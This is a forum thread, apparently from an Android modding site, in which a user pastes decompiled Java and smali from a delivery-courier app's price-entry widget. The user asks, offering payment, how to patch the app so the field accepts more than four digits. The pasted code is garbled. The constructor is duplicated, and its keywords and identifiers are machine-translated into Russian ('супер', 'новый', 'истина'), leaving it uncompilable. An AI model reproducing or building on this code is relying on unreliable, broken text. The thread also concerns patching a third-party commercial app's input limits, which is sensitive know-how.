this.binding.editTextDecimal.setOnFocusChangeListener(new c(this));
this.binding.editTextDecimal.setOnKeyListener(new d(this));
}
public final void setDecimalDigits(int i) {
boolean z;
boolean z2;
if (i >= 0) {
if (this.decimalDigits > i) {
z = true;
} else {
z = false;
}
this.decimalDigits = i;
if (i > 0) {
z2 = true;
} else {
z2 = false;
}
setShouldShowDecimals(z2);
this.binding.editTextDecimal.setFilters(new InputFilter.LengthFilter[]{new InputFilter.LengthFilter(i)});
this.binding.editTextDecimal.setHint(StringsKt.w(this.zeroChar, i));
if (z) {
EditText editText = this.binding.editTextDecimal;
editText.setText(editText.getText());
return;
}
return;
}
throw new IllegalArgumentException(a.b("decimalDigits can't be < 0 but is: ", i));
}
@override // android.view.View
public void setEnabled(boolean enabled) {
super.setEnabled(enabled);
this.binding.editTextInteger.setEnabled(enabled);
this.binding.editTextDecimal.setEnabled(enabled);
}
public final void setErrorEnabled(boolean z) {
this.errorEnabled = z;
setEditTextsError();
setUnderlineError();
}
public final void setIntegerDigits(int i) {
if (i >= 0) {
this.integerDigits = i;
this.binding.editTextInteger.setFilters(new InputFilter.LengthFilter[]{new InputFilter.LengthFilter(i)});
return;
}
throw new IllegalArgumentException(a.b("integerDigits can't be < 0 but is: ", i));
}
public final void setOnPriceChangeListener(OnPriceChangeListener onPriceChangeListener) {
this.onPriceChangeListener = onPriceChangeListener;
}
public final void setPrice(double d) {
if (d >= 0.0d) {
this.innerPrice = d;
onPriceSet(d);
return;
}
throw new IllegalArgumentException("price can't be < 0.0 but is: " + d);
}
/* JADX WARN: 'super' call moved to the top of the method (can break code semantics) */
@JvmOverloads
public PriceEditText (контекст контекста, набор атрибутов AttributeSet, int i) {
супер(контекст, набор атрибутов, я);
Intrinsics.checkNotNullParameter(контекст, "контекст");
PriceEditTextBinding inflate = PriceEditTextBinding.inflate(LayoutInflater.from(context), this);
Intrinsics.checkNotNullExpressionValue(inflate, "inflate(LayoutInflater.from(context), this)");
this.binding = раздувать;
Строка строка = context.getString(j.zero);
Intrinsics.checkNotNullExpressionValue(строка, "context.getString(com.gl…app.design.R.string.zero)");
this.zeroChar = строка;
this.integerTextWatcher = новый IntegerTextWatcher (это);
this.decimalTextWatcher = новый DecimalTextWatcher (это);
Палитра палитра = Palette.f;
Объект obj = t3.aa;
this.greenColor = ada (контекст, палитра.c);
this.grayColor = ada(контекст, Palette.wc);
this.redColor = ada(context, Palette.mc);
this.shouldShowDecimals = истина;
this.integerDigits = DEFAULT_INTEGER_DIGITS;
this.decimalDigits = DEFAULT_DECIMAL_DIGITS;
}
}
Renate said:
Java:
package glovoapp.delivery.detail.pickup.upload.quiero;
import android.content.Context;
import android.support.v4.media.a;
import android.text.Editable;
import android.text.InputFilter;
import android.util.AttributeSet;
import android.view.KeyEvent;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.EditText;
import android.widget.LinearLayout;
import android.widget.TextView;
import com.glovoapp.theme.Palette;
import g3.b;
import glovoapp.delivery.crossdocking.databinding.PriceEditTextBinding;
import glovoapp.utils.l;
import hu.e;
import hu.j;
import java.util.Arrays;
import java.util.List;
import java.util.ListIterator;
import java.util.Locale;
import kotlin.Metadata;
import kotlin.collections.CollectionsKt;
import kotlin.jvm.JvmOverloads;
import kotlin.jvm.internal.DefaultConstructorMarker;
import kotlin.jvm.internal.Intrinsics;
import kotlin.jvm.internal.SourceDebugExtension;
import kotlin.jvm.internal.StringCompanionObject;
import kotlin.text.Regex;
import kotlin.text.StringsKt;
import t3.a;
@Metadata(d1 = {"\u0000f\n\u0002\u0018\u0002\n\u0002\u0018\u0002\n\u0000\n\u0002\u0018\u0002\n\u0000\n\u0002\u0018\u0002\n\u0000\n\u0002\u0010\b\n\u0002\b\u0002\n\u0002\u0018\u0002\n\u0002\b\t\n\u0002\u0018\u0002\n\u0002\u0010\u000b\n\u0002\b\b\n\u0002\u0010\u0006\n\u0002\b\u0004\n\u0002\u0018\u0002\n\u0000\n\u0002\u0018\u0002\n\u0002\b\r\n\u0002\u0010\u000e\n\u0002\b\u0002\n\u0002\u0018\u0002\n\u0000\n\u0002\u0010\f\n\u0002\b\u0002\n\u0002\u0010\u0002\n\u0002\b\r\b\u0007\u0018\u0000 D2\u00020\u0001:\u0004DEFGB%\b\u0007\u0012\u0006\u0010\u0002\u001a\u00020\u0003\u0012\n\b\u0002\u0010\u0004\u001a\u0004\u0018\u00010\u0005\u0012\b\b\u0002\u0010\u0006\u001a\u00020\u0007¢\u0006\u0002\u0010\bJ\u0018\u00104\u001a\u00020\u00152\u0006\u00105\u001a\u0002062\u0006\u00107\u001a\u000208H\u0002J\u0010\u00109\u001a\u00020\u00152\u0006\u00105\u001a\u000206H\u0002J\b\u0010:\u001a\u00020;H\u0014J\u0010\u0010<\u001a\u00020;2\u0006\u0010*\u001a\u00020\u001eH\u0002J\b\u0010=\u001a\u00020;H\u0002J\b\u0010>\u001a\u00020;H\u0002J\u0010\u0010?\u001a\u00020;2\u0006\[email protected]\u001a\u00020\u0015H\u0016J\b\u0010A\u001a\u00020;H\u0002J\u0010\u0010B\u001a\u00020;2\u0006\u0010C\u001a\u00020\u0015H\u0002R\u0011\u0010\t\u001a\u00020\n¢\u0006\b\n\u0000\u001a\u0004\b\u000b\u0010\fR$\u0010\u000e\u001a\u00020\u00072\u0006\u0010\r\u001a\u00020\[email protected]\u0086\u000e¢\u0006\u000e\n\u0000\u001a\u0004\b\u000f\u0010\u0010\"\u0004\b\u0011\u0010\u0012R\u0012\u0010\u0013\u001a\u00060\u0014R\u00020\u0000X\u0082\u0004¢\u0006\u0002\n\u0000R$\u0010\u0016\u001a\u00020\u00152\u0006\u0010\r\u001a\u00020\[email protected]\u0086\u000e¢\u0006\u000e\n\u0000\u001a\u0004\b\u0017\u0010\u0018\"\u0004\b\u0019\u0010\u001aR\u0010\u0010\u001b\u001a\u00020\u00078\u0002X\u0083\u0004¢\u0006\u0002\n\u0000R\u0010\u0010\u001c\u001a\u00020\u00078\u0002X\u0083\u0004¢\u0006\u0002\n\u0000R\u000e\u0010\u001d\u001a\u00020\u001eX\u0082\u000e¢\u0006\u0002\n\u0000R$\u0010\u001f\u001a\u00020\u00072\u0006\u0010\r\u001a\u00020\[email protected]\u0086\u000e¢\u0006\u000e\n\u0000\u001a\u0004\b \u0010\u0010\"\u0004\b!\u0010\u0012R\u0012\u0010\"\u001a\u00060#R\u00020\u0000X\u0082\u0004¢\u0006\u0002\n\u0000R\u001c\u0010$\u001a\u0004\u0018\u00010%X\u0086\u000e¢\u0006\u000e\n\u0000\u001a\u0004\b&\u0010'\"\u0004\b(\u0010)R$\u0010*\u001a\u00020\u001e2\u0006\u0010\r\u001a\u00020\[email protected]\u0086\u000e¢\u0006\f\u001a\u0004\b+\u0010,\"\u0004\b-\u0010.R\u0010\u0010/\u001a\u00020\u00078\u0002X\u0083\u0004¢\u0006\u0002\n\u0000R\u001e\u00100\u001a\u00020\u00152\u0006\u0010\r\u001a\u00020\[email protected]\u0082\u000e¢\u0006\b\n\u0000\"\u0004\b1\u0010\u001aR\u000e\u00102\u001a\u000203X\u0082\u0004¢\u0006\u0002\n\u0000¨\u0006H"}, d2 = {"Lglovoapp/delivery/detail/pickup/upload/quiero/PriceEditText;", "Landroid/widget/LinearLayout;", "context", "Landroid/content/Context;", "attrs", "Landroid/util/AttributeSet;", "defStyleAttr", "", "(Landroid/content/Context;Landroid/util/AttributeSet;I)V", "binding", "Lglovoapp/delivery/crossdocking/databinding/PriceEditTextBinding;", "getBinding", "()Lglovoapp/delivery/crossdocking/databinding/PriceEditTextBinding;", "value", "decimalDigits", "getDecimalDigits", "()I", "setDecimalDigits", "(I)V", "decimalTextWatcher", "Lglovoapp/delivery/detail/pickup/upload/quiero/PriceEditText$DecimalTextWatcher;", "", "errorEnabled", "getErrorEnabled", "()Z", "setErrorEnabled", "(Z)V", "grayColor", "greenColor", "innerPrice", "", "integerDigits", "getIntegerDigits", "setIntegerDigits", "integerTextWatcher", "Lglovoapp/delivery/detail/pickup/upload/quiero/PriceEditText$IntegerTextWatcher;", "onPriceChangeListener", "Lglovoapp/delivery/detail/pickup/upload/quiero/PriceEditText$OnPriceChangeListener;", "getOnPriceChangeListener", "()Lglovoapp/delivery/detail/pickup/upload/quiero/PriceEditText$OnPriceChangeListener;", "setOnPriceChangeListener", "(Lglovoapp/delivery/detail/pickup/upload/quiero/PriceEditText$OnPriceChangeListener;)V", "price", "getPrice", "()D", "setPrice", "(D)V", "redColor", "shouldShowDecimals", "setShouldShowDecimals", "zeroChar", "", "checkDecimalPointEvent", "s", "Landroid/text/Editable;", "char", "", "checkEmptyInteger", "onFinishInflate", "", "onPriceSet", "onPriceTextChanged", "setEditTextsError", "setEnabled", "enabled", "setUnderlineError", "setUnderlineState", "focused", "Companion", "DecimalTextWatcher", "IntegerTextWatcher", "OnPriceChangeListener", "delivery-crossdocking_release"}, k = 1, mv = {1, 8, PriceEditText.$stable}, xi = 48)
@SourceDebugExtension({"SMAP\nPriceEditText.kt\nKotlin\n*S Kotlin\n*F\n+ 1 PriceEditText.kt\nglovoapp/delivery/detail/pickup/upload/quiero/PriceEditText\n+ 2 View.kt\nandroidx/core/view/ViewKt\n+ 3 _Collections.kt\nkotlin/collections/CollectionsKt___CollectionsKt\n+ 4 ArraysJVM.kt\nkotlin/collections/ArraysKt__ArraysJVMKt\n*L\n1#1,317:1\n262#2,2:318\n731#3,9:320\n37#4,2:329\n*S KotlinDebug\n*F\n+ 1 PriceEditText.kt\nglovoapp/delivery/detail/pickup/upload/quiero/PriceEditText\n*L\n47#1:318,2\n229#1:320,9\n230#1:329,2\n*E\n"})
/* loaded from: C:\Users\Diren\AppData\Local\Temp\jadx-18309976577588970056.dex */
public final class PriceEditText extends LinearLayout {
private static final int DEFAULT_DECIMAL_DIGITS = 2;
private static final int DEFAULT_INTEGER_DIGITS = 6;
private final PriceEditTextBinding binding;
private int decimalDigits;
private final DecimalTextWatcher decimalTextWatcher;
private boolean errorEnabled;
private final int grayColor;
private final int greenColor;
private double innerPrice;
private int integerDigits;
private final IntegerTextWatcher integerTextWatcher;
private OnPriceChangeListener onPriceChangeListener;
private final int redColor;
private boolean shouldShowDecimals;
private final String zeroChar;
public static final Companion Companion = new Companion((DefaultConstructorMarker) null);
public static final int $stable = 8;
/* JADX WARN: 'this' call moved to the top of the method (can break code semantics) */
@JvmOverloads
public PriceEditText(Context context) {
this(context, null, 0, DEFAULT_INTEGER_DIGITS, null);
Intrinsics.checkNotNullParameter(context, "context");
}
/* JADX WARN: 'this' call moved to the top of the method (can break code semantics) */
@JvmOverloads
public PriceEditText(Context context, AttributeSet attributeSet) {
this(context, attributeSet, 0, 4, null);
Intrinsics.checkNotNullParameter(context, "context");
}
public /* synthetic */ PriceEditText(Context context, AttributeSet attributeSet, int i, int i2, DefaultConstructorMarker defaultConstructorMarker) {
this(context, (i2 & DEFAULT_DECIMAL_DIGITS) != 0 ? null : attributeSet, (i2 & 4) != 0 ? 0 : i);
}
/* JADX INFO: Access modifiers changed from: private */
public final boolean checkDecimalPointEvent(Editable s, char r5) {
int o = StringsKt.o(s, r5, 0, false, (int) DEFAULT_INTEGER_DIGITS);
if (o == -1) {
return false;
}
this.binding.editTextInteger.setText(StringsKt.removeRange(s, o, o + 1), TextView.BufferType.NORMAL);
if (!this.shouldShowDecimals) {
EditText editText = this.binding.editTextInteger;
Intrinsics.checkNotNullExpressionValue(editText, "binding.editTextInteger");
l.a(editText);
return true;
}
this.binding.editTextDecimal.requestFocus();
this.binding.editTextDecimal.setSelection(0);
return true;
}
/* JADX INFO: Access modifiers changed from: private */
public final boolean checkEmptyInteger(Editable s) {
if (StringsKt.isBlank(s)) {
Intrinsics.checkNotNullExpressionValue(this.binding.editTextDecimal.getText(), "binding.editTextDecimal.text");
if ((!StringsKt.isBlank(r3)) != false && this.shouldShowDecimals) {
this.integerTextWatcher.byDisabling(new checkEmptyInteger.1(this));
EditText editText = this.binding.editTextInteger;
Intrinsics.checkNotNullExpressionValue(editText, "binding.editTextInteger");
l.a(editText);
return true;
}
return false;
}
return false;
}
/* JADX INFO: Access modifiers changed from: private */
public static final void onFinishInflate$lambda$0(PriceEditText priceEditText, View view, boolean z) {
boolean z2;
Intrinsics.checkNotNullParameter(priceEditText, "this$0");
if (!z && !priceEditText.binding.editTextDecimal.hasFocus()) {
z2 = false;
} else {
z2 = true;
}
priceEditText.setUnderlineState(z2);
}
/* JADX INFO: Access modifiers changed from: private */
public static final boolean onFinishInflate$lambda$1(PriceEditText priceEditText, View view, int i, KeyEvent keyEvent) {
boolean z;
Intrinsics.checkNotNullParameter(priceEditText, "this$0");
if (i == 22 && keyEvent.getAction() == 0) {
EditText editText = priceEditText.binding.editTextInteger;
Intrinsics.checkNotNullExpressionValue(editText, "binding.editTextInteger");
int length = priceEditText.binding.editTextInteger.getText().length();
Intrinsics.checkNotNullParameter(editText, "<this>");
if (editText.getSelectionStart() == length && editText.getSelectionEnd() == length) {
z = true;
} else {
z = false;
}
if (z) {
priceEditText.binding.editTextDecimal.requestFocus();
priceEditText.binding.editTextDecimal.setSelection(0);
return true;
}
}
return false;
}
/* JADX INFO: Access modifiers changed from: private */
public static final void onFinishInflate$lambda$2(PriceEditText priceEditText, View view, boolean z) {
boolean z2;
Intrinsics.checkNotNullParameter(priceEditText, "this$0");
boolean z3 = false;
if (!z && !priceEditText.binding.editTextInteger.hasFocus()) {
z2 = false;
} else {
z2 = true;
}
priceEditText.setUnderlineState(z2);
if (z) {
Editable text = priceEditText.binding.editTextInteger.getText();
if (text == null || text.length() == 0) {
z3 = true;
}
if (z3) {
priceEditText.binding.editTextInteger.setText(priceEditText.zeroChar, TextView.BufferType.NORMAL);
}
}
}
/* JADX INFO: Access modifiers changed from: private */
public static final boolean onFinishInflate$lambda$3(PriceEditText priceEditText, View view, int i, KeyEvent keyEvent) {
boolean z;
Intrinsics.checkNotNullParameter(priceEditText, "this$0");
if ((i == 67 || i == 21) && keyEvent.getAction() == 0) {
EditText editText = priceEditText.binding.editTextDecimal;
Intrinsics.checkNotNullExpressionValue(editText, "binding.editTextDecimal");
Intrinsics.checkNotNullParameter(editText, "<this>");
if (editText.getSelectionStart() == 0 && editText.getSelectionEnd() == 0) {
z = true;
} else {
z = false;
}
if (z) {
priceEditText.binding.editTextInteger.requestFocus();
EditText editText2 = priceEditText.binding.editTextInteger;
Intrinsics.checkNotNullExpressionValue(editText2, "binding.editTextInteger");
l.a(editText2);
return true;
}
}
return false;
}
private final void onPriceSet(double price) {
boolean z;
List emptyList;
boolean z2;
boolean z3;
if (price == 0.0d) {
z = true;
} else {
z = false;
}
if (z) {
this.integerTextWatcher.byDisabling(new onPriceSet.1(this));
this.decimalTextWatcher.byDisabling(new onPriceSet.2(this));
OnPriceChangeListener onPriceChangeListener = this.onPriceChangeListener;
if (onPriceChangeListener != null) {
onPriceChangeListener.onPriceChanged(price);
return;
}
return;
}
StringCompanionObject stringCompanionObject = StringCompanionObject.INSTANCE;
String format = String.format(Locale.US, b.g("%.", this.decimalDigits, "f"), Arrays.copyOf(new Object[]{Double.valueOf(price)}, 1));
Intrinsics.checkNotNullExpressionValue(format, "format(locale, format, *args)");
List split = new Regex("\\.").split(StringsKt.x(format, ',', '.'), 0);
if (!split.isEmpty()) {
ListIterator listIterator = split.listIterator(split.size());
while (listIterator.hasPrevious()) {
if (((String) listIterator.previous()).length() == 0) {
z3 = true;
} else {
z3 = false;
}
if (!z3) {
emptyList = CollectionsKt.take(split, listIterator.nextIndex() + 1);
break;
}
}
}
emptyList = CollectionsKt.emptyList();
String[] strArr = (String[]) emptyList.toArray(new String[0]);
if (strArr.length == 0) {
z2 = true;
} else {
z2 = false;
}
if ((!z2) != false) {
this.integerTextWatcher.byDisabling(new onPriceSet.3(this, strArr[0]));
}
if (strArr.length > 1) {
this.decimalTextWatcher.byDisabling(new onPriceSet.4(this, strArr[1]));
}
OnPriceChangeListener onPriceChangeListener2 = this.onPriceChangeListener;
if (onPriceChangeListener2 != null) {
onPriceChangeListener2.onPriceChanged(price);
}
}
/* JADX INFO: Access modifiers changed from: private */
public final void onPriceTextChanged() {
int i;
double d;
String obj = this.binding.editTextInteger.getText().toString();
String obj2 = this.binding.editTextDecimal.getText().toString();
Integer intOrNull = StringsKt.toIntOrNull(obj);
int i2 = 0;
if (intOrNull != null) {
i = intOrNull.intValue();
} else {
i = 0;
}
Integer intOrNull2 = StringsKt.toIntOrNull(obj2);
if (intOrNull2 != null) {
i2 = intOrNull2.intValue();
}
Double doubleOrNull = StringsKt.toDoubleOrNull(i + "." + i2);
if (doubleOrNull != null) {
d = doubleOrNull.doubleValue();
} else {
d = 0.0d;
}
this.innerPrice = d;
OnPriceChangeListener onPriceChangeListener = this.onPriceChangeListener;
if (onPriceChangeListener != null) {
onPriceChangeListener.onPriceChanged(d);
}
}
private final void setEditTextsError() {
int i;
if (this.errorEnabled) {
i = this.redColor;
} else {
i = this.greenColor;
}
this.binding.editTextInteger.setTextColor(i);
this.binding.editTextDecimal.setTextColor(i);
}
private final void setShouldShowDecimals(boolean z) {
int i;
this.shouldShowDecimals = z;
EditText editText = this.binding.editTextDecimal;
Intrinsics.checkNotNullExpressionValue(editText, "binding.editTextDecimal");
if (z) {
i = 0;
} else {
i = 8;
}
editText.setVisibility(i);
if (!z) {
this.binding.editTextInteger.requestFocus();
EditText editText2 = this.binding.editTextInteger;
Intrinsics.checkNotNullExpressionValue(editText2, "binding.editTextInteger");
l.a(editText2);
this.binding.editTextInteger.setTextAlignment(4);
this.binding.editTextDecimal.setText((CharSequence) null);
return;
}
this.binding.editTextInteger.setTextAlignment(3);
}
private final void setUnderlineError() {
setUnderlineState(this.binding.editTextInteger.hasFocus() || this.binding.editTextDecimal.hasFocus());
}
private final void setUnderlineState(boolean focused) {
int i;
ViewGroup.LayoutParams layoutParams = this.binding.underline.getLayoutParams();
View view = this.binding.underline;
if (focused) {
layoutParams.height = getContext().getResources().getDimensionPixelSize(e.underline_height_focused);
i = this.greenColor;
} else {
layoutParams.height = getContext().getResources().getDimensionPixelSize(e.underline_height);
i = this.grayColor;
}
view.setBackgroundColor(i);
if (this.errorEnabled) {
this.binding.underline.setBackgroundColor(this.redColor);
}
this.binding.underline.setLayoutParams(layoutParams);
this.binding.underline.requestLayout();
}
public final PriceEditTextBinding getBinding() {
return this.binding;
}
public final int getDecimalDigits() {
return this.decimalDigits;
}
public final boolean getErrorEnabled() {
return this.errorEnabled;
}
public final int getIntegerDigits() {
return this.integerDigits;
}
public final OnPriceChangeListener getOnPriceChangeListener() {
return this.onPriceChangeListener;
}
/* renamed from: getPrice reason: from getter */
public final double getInnerPrice() {
return this.innerPrice;
}
@override // android.view.View
public void onFinishInflate() {
super.onFinishInflate();
setOrientation(1);
setIntegerDigits(DEFAULT_INTEGER_DIGITS);
setDecimalDigits(DEFAULT_DECIMAL_DIGITS);
this.binding.editTextInteger.addTextChangedListener(this.integerTextWatcher);
this.binding.editTextInteger.setOnFocusChangeListener(new a(this));
this.binding.editTextInteger.setOnKeyListener(new b(this));
this.binding.editTextDecimal.addTextChangedListener(this.decimalTextWatcher);
this.binding.editTextDecimal.setOnFocusChangeListener(new c(this));
this.binding.editTextDecimal.setOnKeyListener(new d(this));
}
public final void setDecimalDigits(int i) {
boolean z;
boolean z2;
if (i >= 0) {
if (this.decimalDigits > i) {
z = true;
} else {
z = false;
}
this.decimalDigits = i;
if (i > 0) {
z2 = true;
} else {
z2 = false;
}
setShouldShowDecimals(z2);
this.binding.editTextDecimal.setFilters(new InputFilter.LengthFilter[]{new InputFilter.LengthFilter(i)});
this.binding.editTextDecimal.setHint(StringsKt.w(this.zeroChar, i));
if (z) {
EditText editText = this.binding.editTextDecimal;
editText.setText(editText.getText());
return;
}
return;
}
throw new IllegalArgumentException(a.b("decimalDigits can't be < 0 but is: ", i));
}
@override // android.view.View
public void setEnabled(boolean enabled) {
super.setEnabled(enabled);
this.binding.editTextInteger.setEnabled(enabled);
this.binding.editTextDecimal.setEnabled(enabled);
}
public final void setErrorEnabled(boolean z) {
this.errorEnabled = z;
setEditTextsError();
setUnderlineError();
}
public final void setIntegerDigits(int i) {
if (i >= 0) {
this.integerDigits = i;
this.binding.editTextInteger.setFilters(new InputFilter.LengthFilter[]{new InputFilter.LengthFilter(i)});
return;
}
throw new IllegalArgumentException(a.b("integerDigits can't be < 0 but is: ", i));
}
public final void setOnPriceChangeListener(OnPriceChangeListener onPriceChangeListener) {
this.onPriceChangeListener = onPriceChangeListener;
}
public final void setPrice(double d) {
if (d >= 0.0d) {
this.innerPrice = d;
onPriceSet(d);
return;
}
throw new IllegalArgumentException("price can't be < 0.0 but is: " + d);
}
/* JADX WARN: 'super' call moved to the top of the method (can break code semantics) */
@JvmOverloads
public PriceEditText (контекст контекста, набор атрибутов AttributeSet, int i) {
супер(контекст, набор атрибутов, я);
Intrinsics.checkNotNullParameter(контекст, "контекст");
PriceEditTextBinding inflate = PriceEditTextBinding.inflate(LayoutInflater.from(context), this);
Intrinsics.checkNotNullExpressionValue(inflate, "inflate(LayoutInflater.from(context), this)");
this.binding = раздувать;
Строка строка = context.getString(j.zero);
Intrinsics.checkNotNullExpressionValue(строка, "context.getString(com.gl…app.design.R.string.zero)");
this.zeroChar = строка;
this.integerTextWatcher = новый IntegerTextWatcher (это);
this.decimalTextWatcher = новый DecimalTextWatcher (это);
Палитра палитра = Palette.f;
Объект obj = t3.aa;
this.greenColor = ada (контекст, палитра.c);
this.grayColor = ada(контекст, Palette.wc);
this.redColor = ada(context, Palette.mc);
this.shouldShowDecimals = истина;
this.integerDigits = DEFAULT_INTEGER_DIGITS;
this.decimalDigits = DEFAULT_DECIMAL_DIGITS;
}
}
Click to expand...
Click to collapse
I am sorry. But I'm just getting started with java.
How can I understand what needs to be changed in the code?
So that the application does not block the input of more than 4 digits.
You need to be able to enter 6 digits in a line.
Please help me.
I'm willing to pay money for help.
Write me what to do step by step.
Here is the line:
this.binding.editTextDecimal.setFilters(new InputFilter.LengthFilter[]{new InputFilter.LengthFilter(i)});
Where "i" is supposedly 4.
Whoever wrote this code should be shot.
Using a custom LinearLayout with separate integer value and decimal fraction?
With two separate EditText you may be typing to decimals when you think that you're typing to integers.
I can't read the error message in the video.
Renate said:
Whoever wrote this code should be shot.
Using a custom LinearLayout with separate integer value and decimal fraction?
With two separate EditText you may be typing to decimals when you think that you're typing to integers.
I can't read the error message in the video.
Click to expand...
Click to collapse
You don't have to pay attention to the error.
I can `t get it
this.binding.editTextDecimal.setFilters(new InputFilter.LengthFilter[]{new InputFilter.LengthFilter(i)});
(i) is the number the user enters
What needs to be changed in the code? so that the user can enter more than 4 digits
In the smali:
new-array v1, v1, [Landroid/text/InputFilter$LengthFilter;
.line 27
.line 28
new-instance v4, Landroid/text/InputFilter$LengthFilter;
.line 29
.line 30
invoke-direct {v4, p1}, Landroid/text/InputFilter$LengthFilter;-><init>(I)V
.line 31
.line 32
.line 33
aput-object v4, v1, v2
new-array v1, v1, [Landroid/text/InputFilter$LengthFilter;
.line 11
.line 12
new-instance v2, Landroid/text/InputFilter$LengthFilter;
.line 13
.line 14
invoke-direct {v2, p1}, Landroid/text/InputFilter$LengthFilter;-><init>(I)V
.line 15
.line 16
.line 17
How to understand which line is responsible for integer values and which for decimal fraction?
What does <init> stand for in code?
And in the byte code, I did not figure out where the limit on the numeric value (I) is set
.smali
direngetpc said:
You don't have to pay attention to the error.
Click to expand...
Click to collapse
You're right. I don't have to.
Renate wanders off and reads a book...

Categories

Resources